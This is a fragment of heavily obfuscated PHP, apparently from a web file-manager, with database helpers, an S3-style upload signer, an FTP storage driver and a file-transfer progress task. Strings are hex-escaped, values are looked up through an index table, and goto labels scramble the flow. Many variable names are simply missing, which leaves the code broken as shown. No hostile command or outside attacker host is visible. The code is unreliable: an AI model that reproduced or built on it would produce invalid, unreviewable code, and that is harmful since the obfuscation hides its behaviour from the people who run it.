"\x53\x45\x4c\x45\103\124\40\x20\x20\143\157\x6c\165\155\156\x5f\156\x61\x6d\145\40\x61\x73\40\47\116\141\155\145\x27\54\40\x20\40\144\141\164\x61\137\x74\x79\x70\x65\x20\x61\163\x20\x27\x54\x79\160\145\47\54\40\40\40\x63\x6f\154\165\155\156\137\x64\x65\146\x61\x75\x6c\x74\40\141\x73\40\47\x44\x65\146\x61\165\x6c\x74\47\54\40\x20\40\151\x73\137\x6e\x75\x6c\154\x61\142\x6c\145\x20\x61\163\x20\x27\116\165\154\154\47\xa\x9\x9\x46\122\x4f\x4d\x9\x69\156\x66\157\x72\x6d\141\164\x69\157\x6e\x5f\163\143\150\145\x6d\141\56\164\x61\142\x6c\145\163\x20\101\x53\x20\x74\12\x9\x9\112\x4f\111\116\x9\x69\x6e\146\x6f\x72\x6d\x61\164\151\157\x6e\137\163\x63\150\145\x6d\141\x2e\143\x6f\x6c\165\x6d\156\x73\x20\x41\123\x20\x63\xa\x9\x9\117\x4e\40\40\164\x2e\x74\141\142\154\145\x5f\143\x61\x74\x61\154\x6f\147\40\x3d\x20\x63\x2e\x74\141\x62\154\145\137\x63\141\x74\141\x6c\157\x67\12\11\11\101\x4e\x44\40\164\x2e\x74\x61\142\154\145\x5f\163\143\x68\145\x6d\x61\x20\75\x20\x63\x2e\x74\x61\x62\x6c\x65\x5f\x73\143\x68\x65\155\141\xa\11\x9\x41\x4e\x44\x20\164\56\164\x61\142\154\x65\x5f\x6e\141\155\x65\40\x3d\x20\x63\x2e\x74\141\x62\x6c\145\x5f\x6e\x61\x6d\145\12\x9\11\127\110\x45\x52\105\x20\40\40\x74\x2e\x74\141\x62\154\145\137\x6e\x61\155\x65\40\75\40\47{$н}\x27"; break; case $[1022]: $Ɲ = $[1023] . $н . $[1024]; break; case $[1004]: case $[1006]: $Ɲ = $[1025] . $[1026] . $[1027] . strtoupper($н) . $[1028] . strtoupper($н) . $[1029]; break; case $[1030]: $Ɲ = $[1031] . $н . $[1032]; break; case $[1005]: break; case $[1033]: default: $Ɲ = $[1034] . ($this->dbType == $[1033] ? "\140{$н}\140" : $н); } } $Ō = $this->query($Ɲ); $Ņ = array(); if ($Ō) { foreach ($Ō as $언 => $챀) { $챀 = array_change_key_case($챀); $챀[$[32]] = isset($챀[$[32]]) ? $챀[$[32]] : $[465]; $챀[$[33]] = isset($챀[$[33]]) ? $챀[$[33]] : $[465]; $ћŽ = isset($챀[$[352]]) ? $챀[$[352]] : $챀[$[32]]; $Ņ[$ћŽ] = array($[32] => $ћŽ, $[33] => $챀[$[33]], $[35] => (bool) (isset($챀[$[106]]) && $챀[$[106]] === $[12] || isset($챀[$[35]]) && $챀[$[35]] === $[12]), $[37] => isset($챀[$[37]]) ? $챀[$[37]] : (isset($챀[$[56]]) ? $챀[$[56]] : $[465]), $[39] => isset($챀[$[97]]) ? strtolower($챀[$[97]]) == $[41] : (isset($챀[$[57]]) ? $챀[$[57]] : !1), $[42] => isset($챀[$[1035]]) ? strtolower($챀[$[1035]]) == $[44] : (isset($챀[$[97]]) ? $챀[$[97]] : !1)); } } return $Ņ; } public function getTables($ = '') { $Ջ =& $_SERVER[秼]; if (think_config($Ջ[1036])) { $箢 = str_replace($Ջ[1037], $, think_config($Ջ[1036])); } else { switch ($this->dbType) { case $Ջ[1004]: case $Ջ[1006]: $箢 = $Ջ[1038]; break; case $Ջ[1003]: case $Ջ[1021]: $箢 = $Ջ[1039]; break; case $Ջ[1030]: $箢 = $Ջ[1040]; break; case $Ջ[1005]: think_exception(think_lang($Ջ[1041]) . $Ջ[1042]); break; case $Ջ[1022]: $箢 = $Ջ[45] . $Ջ[46] . $Ջ[47]; break; case $Ջ[1033]: default: if (!empty($)) { $箢 = $Ջ[985] . $ . $Ջ[986]; } else { $箢 = $Ջ[987]; } } } $ԼΓ = $this->query($箢); $ŷ = array(); foreach ($ԼΓ as $ => $) { $ŷ[$] = current($); } return $ŷ; } protected function parseLimit($) { $ =& $_SERVER[秼]; $ʉτ = $[12]; if (!empty($)) { switch ($this->dbType) { case $[1030]: case $[1022]: $ = explode($[50], $); if (count($) > 1) { $ʉτ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ʉτ .= $[51] . $[0] . $[53]; } break; case $[1003]: case $[1021]: break; case $[1005]: break; case $[1004]: case $[1006]: break; case $[1033]: default: $ʉτ .= $[51] . $ . $[53]; } } return $ʉτ; } public function parseKey(&$μӧ, $Ԣ赛 = true) { $ҍð =& $_SERVER[秼]; if ($Ԣ赛) { $μӧ = $this->parseKeyCheck($μӧ); } if ($this->dbType == $ҍð[1033]) { if ($μӧ != $ҍð[222] && !preg_match($ҍð[997], $μӧ)) { $μӧ = $ҍð[472] . trim($μӧ, $ҍð[472]) . $ҍð[472]; } return $μӧ; } else { return parent::parseKey($μӧ, $Ԣ赛); } } public function close() { $this->_linkID = null; } public function error() { $ᦓ =& $_SERVER[秼]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $ᦓ[4] . $[2]; } else { $this->error = $ᦓ[12]; } if ($ᦓ[12] != $this->queryStr) { $this->error .= LNG($ᦓ[48]) . $this->queryStr; } think_trace($this->error, $ᦓ[12], $ᦓ[49]); return $this->error; } public function escapeString($) { $і =& $_SERVER[秼]; switch ($this->dbType) { case $і[1030]: case $і[1003]: case $і[1021]: case $і[1033]: return addslashes($); case $і[1005]: case $і[1022]: case $і[1004]: case $і[1006]: return str_ireplace($і[58], $і[59], $); } } protected function parseValue($ޟ) { $Ɣ =& $_SERVER[秼]; if (is_string($ޟ)) { $ = strpos($ޟ, $Ɣ[4]) === 0 && in_array($ޟ, array_keys($this->bind)); $ޟ = $ ? $this->escapeString($ޟ) : $Ɣ[1043] . $this->escapeString($ޟ) . $Ɣ[1043]; } elseif (isset($ޟ[0]) && is_string($ޟ[0]) && strtolower($ޟ[0]) == $Ɣ[374]) { $ޟ = $this->escapeString($ޟ[1]); } elseif (is_array($ޟ)) { $ޟ = array_map(array($this, $Ɣ[1044]), $ޟ); } elseif (is_bool($ޟ)) { $ޟ = $ޟ ? $Ɣ[91] : $Ɣ[230]; } elseif (is_null($ޟ)) { $ޟ = $Ɣ[106]; } return $ޟ; } public function getLastInsertId() { $ʭ =& $_SERVER[秼]; switch ($this->dbType) { case $ʭ[1030]: case $ʭ[1022]: case $ʭ[1003]: case $ʭ[1021]: case $ʭ[1005]: case $ʭ[1033]: return $this->_linkID->lastInsertId(); case $ʭ[1004]: case $ʭ[1006]: $ޱ = $this->table; $ = $this->query("\123\105\x4c\105\103\x54\40{$ޱ}\x2e\x63\x75\162\x72\166\141\x6c\x20\143\x75\162\162\166\x61\x6c\40\106\x52\x4f\x4d\x20\x64\x75\141\154"); return $ ? $[0][$ʭ[1045]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($ߨ) { $ =& $_SERVER[秼]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($ߨ); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $Ά =& $_SERVER[秼]; if (!CacheLock::fileLock($Ά[13])) { return !1; } $ក = parent::execute($); CacheLock::fileUnLock($Ά[13]); return $ក; } } class DbSqlite3 extends DbSqlite3Base { public function query($͕) { $ =& $_SERVER[秼]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($͕); CacheLock::fileUnLock($[13]); return $; } public function execute($ըװ) { $ =& $_SERVER[秼]; if (!CacheLock::fileLock($[13])) { return !1; } $ӏ = parent::execute($ըװ); CacheLock::fileUnLock($[13]); return $ӏ; } } goto cѤ; f罍͠: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($ъ) { parent::__construct($ъ); $this->setSignVersion($_SERVER[秼][249]); } public function uploadFormData($Ԗ, $ɻ = 3600) { $Ϯɞ =& $_SERVER[秼]; $ = $Ϯɞ[231]; $ű = $Ϯɞ[259]; $ = $Ϯɞ[62]; $ = gmdate($Ϯɞ[260]); $ = gmdate($Ϯɞ[261]); $ = $Ϯɞ[262]; $ß = $ɻ . $Ϯɞ[12]; $ᾎԇ = $Ϯɞ[263]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($Ϯɞ[8], $); $ = array($Ϯɞ[264] => gmdate($Ϯɞ[1422], strtotime($Ϯɞ[266])), $Ϯɞ[267] => array(array($Ϯɞ[268] => $this->bucket), array($Ϯɞ[308] => $), array($Ϯɞ[269], $Ϯɞ[270], $Ϯɞ[12]), array($Ϯɞ[269], $Ϯɞ[271], $Ϯɞ[12]), array($Ϯɞ[269], $Ϯɞ[309], $Ϯɞ[12]), array($Ϯɞ[272] => $ᾎԇ), array($Ϯɞ[273] => $), array($Ϯɞ[274] => $ű), array($Ϯɞ[275] => $), array($Ϯɞ[276] => $ß))); $ = base64_encode(json_encode($)); $ŝ = hash_hmac($Ϯɞ[277], $, $Ϯɞ[278] . $this->secret, !0); $ف = hash_hmac($Ϯɞ[277], $this->region, $ŝ, !0); $ȷ = hash_hmac($Ϯɞ[277], $, $ف, !0); $̳؎ = hash_hmac($Ϯɞ[277], $, $ȷ, !0); $¥ = hash_hmac($Ϯɞ[277], $, $̳؎); $ = array($Ϯɞ[248] => $Ϯɞ[12], $Ϯɞ[296] => $Ϯɞ[12], $Ϯɞ[308] => $, $Ϯɞ[272] => $ᾎԇ, $Ϯɞ[279] => $, $Ϯɞ[310] => $, $Ϯɞ[311] => $ű, $Ϯɞ[312] => $, $Ϯɞ[313] => $ß, $Ϯɞ[314] => $¥, $Ϯɞ[208] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($Ϯ) { parent::__construct(); if (count($Ϯ) > 0) { $this->_init($Ϯ); } } public function __destruct() { if (!$this->_isconn(!1)) { return !1; } return @ftp_close($this->connect); } private function charsetReset($橸) { $ =& $_SERVER[秼]; global $config; $this->appCharset = $config[$[1448]]; $this->systemCharset = $config[$[1449]]; if (isset($橸[$[1450]]) && $橸[$[1450]]) { $this->systemCharset = $橸[$[1450]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($ﯘ) { $ω =& $_SERVER[秼]; $ = $this->iconvApp($this->pathBase); $ﯘ = $this->iconvApp($ﯘ); if (substr($, 0, 2) == $ω[1420]) { $ = BASIC_PATH . substr($, 2); } if (substr($ﯘ, 0, 2) == $ω[1420]) { $ﯘ = BASIC_PATH . substr($ﯘ, 2); } $ = KodIO::clear($); $ﯘ = KodIO::clear($ﯘ); $ﯘ = substr($ﯘ, strlen($)); if (empty($this->pathDriver)) { return $ﯘ; } return $this->pathDriver . $ω[8] . ltrim($ﯘ, $ω[8]); } private function _init($ = array()) { $ؑ =& $_SERVER[秼]; if (!function_exists($ؑ[1451])) { throw new Exception(LNG($ؑ[1452])); } $this->config = $; $this->charsetReset($); foreach ($ as $썥 => $) { if (isset($this->{$썥})) { $this->{$썥} = $; } } return $this->_login($); } private function _login($紨) { $ =& $_SERVER[秼]; static $ = array(); $ = md5(json_encode($紨)); if (isset($[$])) { foreach ($[$] as $؏ => $ݙ) { $this->{$؏} = $ݙ; } return !0; } $ = parse_url(trim($this->server, $[8])); $this->host = $[$[208]]; $ = isset($[$[207]]) && $[$[207]] == $[1453] ? !0 : !1; $this->scheme = $ ? $[1454] : $[1455]; $this->port = isset($[$[209]]) ? $[$[209]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 30); if ($this->connect === !1) { $this->writeLog(LNG($[1456]) . $this->host . $[4] . $this->port, !0); return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); if (!$) { $this->writeLog(LNG($[1457]) . $this->username, !0); return !1; } @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $[91] ? !0 : !1; @ftp_pasv($this->connect, $); $[$] = array($[1458] => $this->connect, $[208] => $this->host, $[207] => $this->scheme, $[209] => $this->port); return $; } private function _isconn($ = true) { if (is_resource($this->connect)) { return !0; } if (!$) { return !1; } return $this->_login($this->config); } public function mkfile($, $ت = '', $ր = REPEAT_RENAME) { if ($this->setContent($, $ت)) { return $this->getPathOuter($); } $this->writeLog(LNG($_SERVER[秼][1459]), !0); return !1; } public function mkdir($NJɵ, $ = REPEAT_SKIP) { $ߓ =& $_SERVER[秼]; if (!$NJɵ || $NJɵ == $ߓ[8]) { return !0; } if (!$this->_isconn()) { return !1; } $NJɵ = $this->iconvSystem($NJɵ); if ($this->_isFolder($NJɵ) || @ftp_mkdir($this->connect, $NJɵ)) { return $this->getPathOuter($NJɵ); } if (!$this->mkdir($this->pathFather($NJɵ))) { return !1; } if ($NJɵ = @ftp_mkdir($this->connect, $NJɵ)) { return $this->getPathOuter($NJɵ); } $this->writeLog(__FUNCTION__ . $ߓ[1460], !0); return !1; } public function copyFile($ј, $׀) { if (!$this->_isconn()) { return !1; } $ڭ = $this->pathThis($this->iconvSystem($ј)); $ޫ = $this->tempFile($ڭ); $ = $this->iconvApp($ޫ); $this->download($ј, $); $ = $this->upload($׀, $); $this->tempFileRemve($ޫ); return $; } public function moveFile($ʹ, $) { if (!$this->_isconn()) { return !1; } $ʹ = $this->iconvSystem($ʹ); $ = $this->iconvSystem($); $ = @ftp_rename($this->connect, $ʹ, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } return $this->getPathOuter($); } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = @ftp_delete($this->connect, $); if (!$) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); } return $; } public function delFolder($ڈ׳) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ֲ = $߾ = array(); $this->fileList($ڈ׳, $ֲ, $߾, !0); $this->listItemCache = !0; foreach ($߾ as $) { $ = $this->iconvSystem($[$_SERVER[秼][32]]); $۸ = @ftp_delete($this->connect, $); if (!$۸) { return !1; } } foreach ($ֲ as $) { $ = $this->iconvSystem($); $۸ = @ftp_rmdir($this->connect, $); if (!$۸) { return !1; } } $ڈ׳ = $this->iconvSystem($ڈ׳); return @ftp_rmdir($this->connect, $ڈ׳); } public function rename($ǥ, $) { $û =& $_SERVER[秼]; if (!$this->_isconn()) { return !1; } $̍ = $this->fileNameAuto($this->pathFather($ǥ), $); $̍ = $this->iconvSystem($̍); $ǥ = $this->iconvSystem($ǥ); $ȧ = $this->pathFather($ǥ); $̬ = rtrim($ȧ, $û[8]) . $û[8] . $̍; $Ɔ = @ftp_rename($this->connect, $ǥ, $̬); if (!$Ɔ) { $this->writeLog(__FUNCTION__ . $û[1460], !0); return !1; } $̬ = $this->iconvApp($̬); return $this->getPathOuter($̬); } private function folderInfo($ખ, $ = false) { $ӵ =& $_SERVER[秼]; $ = array($ӵ[32] => $this->pathThis($ખ), $ӵ[87] => $this->getPathOuter($ӵ[8] . $ખ), $ӵ[33] => $ӵ[78]); if ($) { return $; } $[$ӵ[233]] = $[$ӵ[88]] = 0; $[$ӵ[234]] = $[$ӵ[235]] = !0; return $; } private function fileInfo($ɇ, $ݱ = false, $ͽ = array()) { $ =& $_SERVER[秼]; $ = array($[32] => $this->pathThis($ɇ), $[87] => $this->getPathOuter($[8] . $ɇ), $[33] => $[232], $[79] => isset($ͽ[$[79]]) ? $ͽ[$[79]] : 0, $[169] => $this->ext($ɇ)); if ($ݱ) { return $; } $[$[233]] = $[$[88]] = 0; $[$[234]] = $[$[235]] = !0; $ޑ = $this->iconvSystem($ɇ); $[$[88]] = @ftp_mdtm($this->connect, $ޑ); if (empty($ͽ)) { $ͽ = $this->objectMeta($ɇ); if (!$ͽ) { return $; } } $[$[79]] = $ͽ[$[79]]; return $; } public function size($ޅ) { $҃鴃 = $this->objectMeta($ޅ); return $҃鴃 ? $҃鴃[$_SERVER[秼][79]] : 0; } public function info($ᵹպ) { if ($this->isFile($ᵹպ)) { return $this->fileInfo($ᵹպ, 0); } else { if ($this->isFolder($ᵹպ)) { return $this->folderInfo($ᵹպ); } } return !1; } private function fileList($͈ـ, &$ɵ, &$, $Δ = false) { $ޙ =& $_SERVER[秼]; $͈ـ = $this->iconvSystem($͈ـ); if (!$this->isFolder($͈ـ)) { return !1; } @ftp_chdir($this->connect, $ޙ[8]); $͈ـ = rtrim($͈ـ, $ޙ[8]) . $ޙ[8]; check_abort(); $ = @ftp_rawlist($this->connect, $͈ـ); if (!$) { $ = array(); } $ = array($ޙ[10] => 1, $ޙ[1372] => 1); foreach ($ as $ք) { $͚ = $this->_listItem($ք); if ($͚[0] == $ޙ[846]) { continue; } $ؘ = $͚[8]; if (empty($ؘ) && $ؘ !== $ޙ[230] || isset($[$ؘ])) { continue; } $ؘ = $this->iconvApp($͈ـ . ltrim($ؘ, $ޙ[8])); $ = array($ޙ[32] => $ؘ, $ޙ[33] => $ޙ[232], $ޙ[79] => $͚[4]); if (substr($ք, 0, 1) == $ޙ[1461]) { $[$ޙ[33]] = $ޙ[78]; $[$ޙ[79]] = 0; } $ߴ = $[$ޙ[33]] == $ޙ[78] ? !0 : !1; $this->cacheMethodInfoSet($ؘ, $ߴ, $); if ($ߴ) { $ɵ[] = $ؘ; if ($Δ) { $this->fileList($ؘ, $ɵ, $, $Δ); } continue; } $[] = $; } $this->cacheMethodInfoSet($͈ـ, !0); } private function _listItem($Ă) { if (empty($Ă)) { return array(); } $ = preg_split($_SERVER[秼][1462], $Ă); if (count($) <= 9) { return $; } $[8] = trim(substr($Ă, strpos($Ă, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($ѩ, $ = false) { $̠ =& $_SERVER[秼]; if (!$this->_isconn()) { return !1; } $ = $å = array(); $this->fileList($ѩ, $, $å); foreach ($ as $ => $Ã) { $[$] = $this->folderInfo($Ã, $); } foreach ($å as $ => $Ã) { $å[$] = $this->fileInfo($Ã[$̠[32]], $, $Ã); } return array($̠[85] => $, $̠[86] => $å); } public function has($, $ = false, $˩Ώ = true) { $ȧ =& $_SERVER[秼]; $؆ = $ = array(); $ = $ ? !0 : !1; $this->fileList($, $؆, $, $); if ($) { return array($ȧ[241] => count($), $ȧ[242] => count($؆)); } if ($˩Ώ) { if (count($)) { return !0; } } else { if (count($؆)) { return !0; } } return !1; } public function listAll($) { $뾢 =& $_SERVER[秼]; if (!$this->_isconn()) { return !1; } $ = $쑷 = array(); $this->fileList($, $, $쑷, !0); $ = array_to_keyvalue($쑷, $뾢[32]); foreach ($ as $퍍) { if (is_string($퍍)) { $[$퍍] = array($뾢[79] => 0); } } return $this->listAllFiles($, $); } public function getContent($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return $this->fileSubstr($); } public function setContent($, $݉ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($)); $婯ʭ = $this->tempFile($); file_put_contents($婯ʭ, $݉); $Ő = $this->upload($, $this->iconvApp($婯ʭ)); $this->tempFileRemve($婯ʭ); return $Ő; } public function fileSubstr($, $ڂ = 0, $ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $ڂ, $); } private function ftpRequest($ȳӏ, $ܑ = 0, $ = false) { $ȳӏ = $this->iconvSystem($ȳӏ); $ԃ = $this->scheme . $this->host . $_SERVER[秼][4] . $this->port; $݊ = curl_init(); curl_setopt($݊, CURLOPT_URL, $ԃ . $this->pathEncode($ȳӏ)); curl_setopt($݊, CURLOPT_USERPWD, "{$this->username}\x3a{$this->userpass}"); if ($) { $ = $ܑ + $ - 1; curl_setopt($݊, CURLOPT_RANGE, "{$ܑ}\55{$}"); } curl_setopt($݊, CURLOPT_RETURNTRANSFER, 1); $ = curl_exec($݊); curl_close($݊); return $; } public function upload($, $, $ș = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ҢՃ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ҢՃ == FTP_MOREDATA) { $ҢՃ = ftp_nb_continue($this->connect); } if ($ҢՃ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } return $this->getPathOuter($); } public function download($, $ = '') { if (!$this->_isconn()) { return !1; } $ѝ = $this->pathFather($); if (!IO::mkdir($ѝ)) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_get($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { $this->writeLog(__FUNCTION__ . $_SERVER[秼][1460], !0); return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[秼][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[秼][181], $); } protected function _objectMeta($ۑ) { $ =& $_SERVER[秼]; if ($ۑ == $[12] || $ۑ == $[8]) { return array(); } if (!$this->_isconn()) { return !1; } $ۑ = $this->iconvSystem($ۑ); $ = array($[32] => $this->iconvApp($ۑ), $[33] => $[232], $[79] => 0); @ftp_chdir($this->connect, $[8]); $ = @ftp_size($this->connect, $ۑ); if ($ != -1) { $[$[79]] = $; } else { $ = @ftp_chdir($this->connect, $ۑ); if (!$) { return !1; } $[$[33]] = $[78]; } return $; } protected function _isFolder($吞) { $ɾ =& $_SERVER[秼]; if ($吞 == $ɾ[12] || $吞 == $ɾ[8]) { return !0; } $ = $this->_objectMeta($吞); return isset($[$ɾ[33]]) && $[$ɾ[33]] == $ɾ[78] ? !0 : !1; } } class PathDriverJOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->setSignVersion($_SERVER[秼][249]); } public function uploadLink($, $Λ = 0) { $ح =& $_SERVER[秼]; if ($this->isUploadServer()) { return; } $ = $this->getType(); if (!in_array($, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $ = (!$Λ ? 1 : ceil($Λ / pow(1024, 3))) * 3600 * 4; $ = $this->uploadMultiData($, $); if ($) { $[$ح[97]] = $; $[$ح[98]] = $; } return $; } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 25) { return $this->fileOutImageServer($, $); } $蓮 = $this->link($); $蓮 .= $_SERVER[秼][1463] . $; $this->fileOutLink($蓮); } public function fileOutLink($ٿ) { $ =& $_SERVER[秼]; if (substr($ٿ, 0, 7) == $[218]) { $ٿ = $[219] . substr($ٿ, 7); } header($[175] . $ٿ); die; } } goto DŸ; Eٕ: class TaskFileTransfer extends Task { protected function startAfter() { $ =& $_SERVER[秼]; $Ϸ =& $this->task; $this->sourceCopyFolder = !1; Hook::bind($[1814], array($this, $[1815])); Hook::bind($[1317], array($this, $[1816])); Hook::bind($[1817], array($this, $[1818])); Hook::bind($[682], array($this, $[1819])); Hook::bind($[683], array($this, $[1820])); Hook::bind($[689], array($this, $[1821])); Hook::bind($[690], array($this, $[1822])); Hook::bind($[685], array($this, $[1823])); Hook::bind($[687], array($this, $[1824])); Hook::bind($[651], array($this, $[1825])); Hook::bind($[648], array($this, $[1825])); Hook::bind($[653], array($this, $[1825])); Hook::bind($[655], array($this, $[1825])); Hook::bind($[657], array($this, $[1825])); Hook::bind($[1826], array($this, $[1827])); Hook::bind($[673], array($this, $[1828])); $this->sourceModelCopyFlag = !1; Hook::bind($[1829], array($this, $[1830])); Hook::bind($[1831], array($this, $[1832])); Hook::bind($[1833], array($this, $[1834])); $Ϸ[$[1835]] = LNG($[1836]); $Ϸ[$[1837]] = 0; $Ϸ[$[1838]] = 0; $Ϸ[$[1151]] = $[12]; $Ϸ[$[1839]] = $[12]; $Ϸ[$[1840]] = 0; $Ϸ[$[1841]] = 0; $Ϸ[$[1842]] = 0; if (!$Ϸ[$[1671]]) { $Ϸ[$[1671]] = LNG($[1843]); } } protected function endAfter() { $܉Ʉ =& $_SERVER[秼]; Hook::unbind($܉Ʉ[1814], array($this, $܉Ʉ[1815])); Hook::unbind($܉Ʉ[1317], array($this, $܉Ʉ[1816])); Hook::unbind($܉Ʉ[1817], array($this, $܉Ʉ[1818])); Hook::unbind($܉Ʉ[682], array($this, $܉Ʉ[1819])); Hook::unbind($܉Ʉ[683], array($this, $܉Ʉ[1820])); Hook::unbind($܉Ʉ[689], array($this, $܉Ʉ[1821])); Hook::unbind($܉Ʉ[690], array($this, $܉Ʉ[1822])); Hook::unbind($܉Ʉ[685], array($this, $܉Ʉ[1823])); Hook::unbind($܉Ʉ[687], array($this, $܉Ʉ[1824])); Hook::unbind($܉Ʉ[651], array($this, $܉Ʉ[1825])); Hook::unbind($܉Ʉ[648], array($this, $܉Ʉ[1825])); Hook::unbind($܉Ʉ[653], array($this, $܉Ʉ[1825])); Hook::unbind($܉Ʉ[655], array($this, $܉Ʉ[1825])); Hook::unbind($܉Ʉ[657], array($this, $܉Ʉ[1825])); Hook::unbind($܉Ʉ[1826], array($this, $܉Ʉ[1827])); Hook::unbind($܉Ʉ[673], array($this, $܉Ʉ[1828])); Hook::unbind($܉Ʉ[1829], array($this, $܉Ʉ[1830])); Hook::unbind($܉Ʉ[1831], array($this, $܉Ʉ[1832])); Hook::unbind($܉Ʉ[1833], array($this, $܉Ʉ[1834])); } public function copyMoveStart($, $, $ο, $) { $ =& $_SERVER[秼]; self::log($[1844] . $ . $[73] . $); $Υ = rtrim(TEMP_FILES, $[8]); if (substr($, 0, strlen($Υ)) == $Υ) { return; } if (substr($, 0, strlen($Υ)) == $Υ) { return; } $ߴ =& $this->task; $ߴ[$[1845]] = KodIO::transferType($, $ο); $this->update(); } public function updateAfter() { $ϋ =& $_SERVER[秼]; $ =& $this->task; if (!$[$ϋ[851]]) { return; } if ($this->sourceModelCopyFlag) { return; } if ($[$ϋ[1845]] == $ϋ[1411]) { return; } self::updateTask($); } private static function updateTask(&$) { $݊ =& $_SERVER[秼]; if ($[$݊[1845]] == $݊[1288] || $[$݊[1845]] == $݊[110]) { if ($[$݊[1839]]) { $[$݊[1842]] = $[$݊[1841]] + $[$݊[1838]]; } } else { if ($[$݊[1845]] == $݊[1412]) { if ($[$݊[1839]] == $݊[1288]) { $[$݊[1842]] = $[$݊[1841]] + $[$݊[1838]] * 0.5; } else { if ($[$݊[1839]] == $݊[110]) { $[$݊[1842]] = $[$݊[1841]] + $[$݊[1837]] * 0.5 + $[$݊[1838]] * 0.5; } } } } $[$݊[1785]] = $[$݊[1842]] / $[$݊[851]]; if ($[$݊[1785]] > 0) { $շ = timeFloat() - $[$݊[1787]] - $[$݊[1790]]; $[$݊[1791]] = $շ * (1 - $[$݊[1785]]) / $[$݊[1785]]; } } public function addPath($ĥұ) { $ =& $_SERVER[秼]; if (!$ĥұ) { return; } $ =& $this->task; $ܢ = IO::infoWithChildren($ĥұ); $ȸ = $[$[1846]] ? $[$[1846]][$[1847]] : 0; $[$[1846]] = array($[1847] => $ȸ + 1, $[505] => $ܢ[$[32]], $[87] => $ܢ[$[87]], $[593] => $ܢ[$[593]] ? $ܢ[$[593]] : $ܢ[$[87]]); if ($ܢ[$[33]] == $[232]) { $[$[1149]] += 1; } else { $[$[1149]] += $ܢ[$[82]][$[80]]; if ($ܢ[$[193]]) { $[$[1149]] += $ܢ[$[82]][$[81]] + 1; } } $[$[851]] += $ܢ[$[79]]; $this->update(); } public function sourceCopyFolderStart() { $this->sourceCopyFolder = !0; } public function sourceCopyFolderEnd() { $this->sourceCopyFolder = !1; } public function sourceAddHashStart($) { } public function sourceAddHashEnd($״ԟ) { } public function sourceAddFileStart($) { $ر =& $_SERVER[秼]; $֠ =& $this->task; $֠[$ر[1837]] = $[$ر[79]]; $֠[$ر[1835]] = $[$ر[32]]; $֠[$ر[1151]] = $[$ر[32]]; $֠[$ر[1848]] = $[$ر[87]]; $this->update(); } public function sourceAddFileEnd($) { $ =& $_SERVER[秼]; $ݴ˚ =& $this->task; $ݴ˚[$[1842]] += $[$[79]]; $ݴ˚[$[1848]] = $[$[87]]; $this->update(1); } public function copyFileStart($, $, $ʕ, $Ϩ, $, $) { $ =& $_SERVER[秼]; $ڽ = $; if ($ڽ == $GLOBALS[$[1849]]) { $ڽ = $GLOBALS[$[1850]]; } $GLOBALS[$[1850]] = $; $GLOBALS[$[1849]] = $; $ =& $this->task; $[$[1835]] = $ڽ; $[$[1837]] = (int) $->size($); $[$[1838]] = 0; $[$[1151]] = $[12]; $[$[1839]] = $[12]; $[$[1840]] = 0; $ = $[$[1837]] > 1024 * 1024 * 10 ? !0 : !1; Cache::remove($[$[486]] . $[1851]); if ($ && file_exists(get_path_father($Ϩ))) { Cache::set($[$[486]] . $[1851], $Ϩ); $[$[1808]] = array($[1852], $[1853]); } $this->update(0, $); } public static function updateCopyLocalFileSize($à) { $퐣 =& $_SERVER[秼]; $ = Cache::get($à[$퐣[486]] . $퐣[1851]); if (!$ || !file_exists($)) { return $à; } $à[$퐣[1838]] = @filesize($); $à[$퐣[1842]] += $à[$퐣[1838]]; self::updateTask($à); return $à; } public function copyFileEnd($, $, $ݘۅ, $ـ, $, $۰) { $Ԥ =& $_SERVER[秼]; $ =& $this->task; $[$Ԥ[1838]] = $[$Ԥ[1837]]; $[$Ԥ[1839]] = $Ԥ[12]; unset($[$Ԥ[1808]]); if ($ == $[$Ԥ[1835]]) { $[$Ԥ[1841]] += $[$Ԥ[1837]]; $[$Ԥ[1842]] = $[$Ԥ[1841]]; $ = 1; if (isset($[$Ԥ[1848]]) && $[$Ԥ[1848]] == $) { $ = 0; } $this->update($); } else { $this->update(); 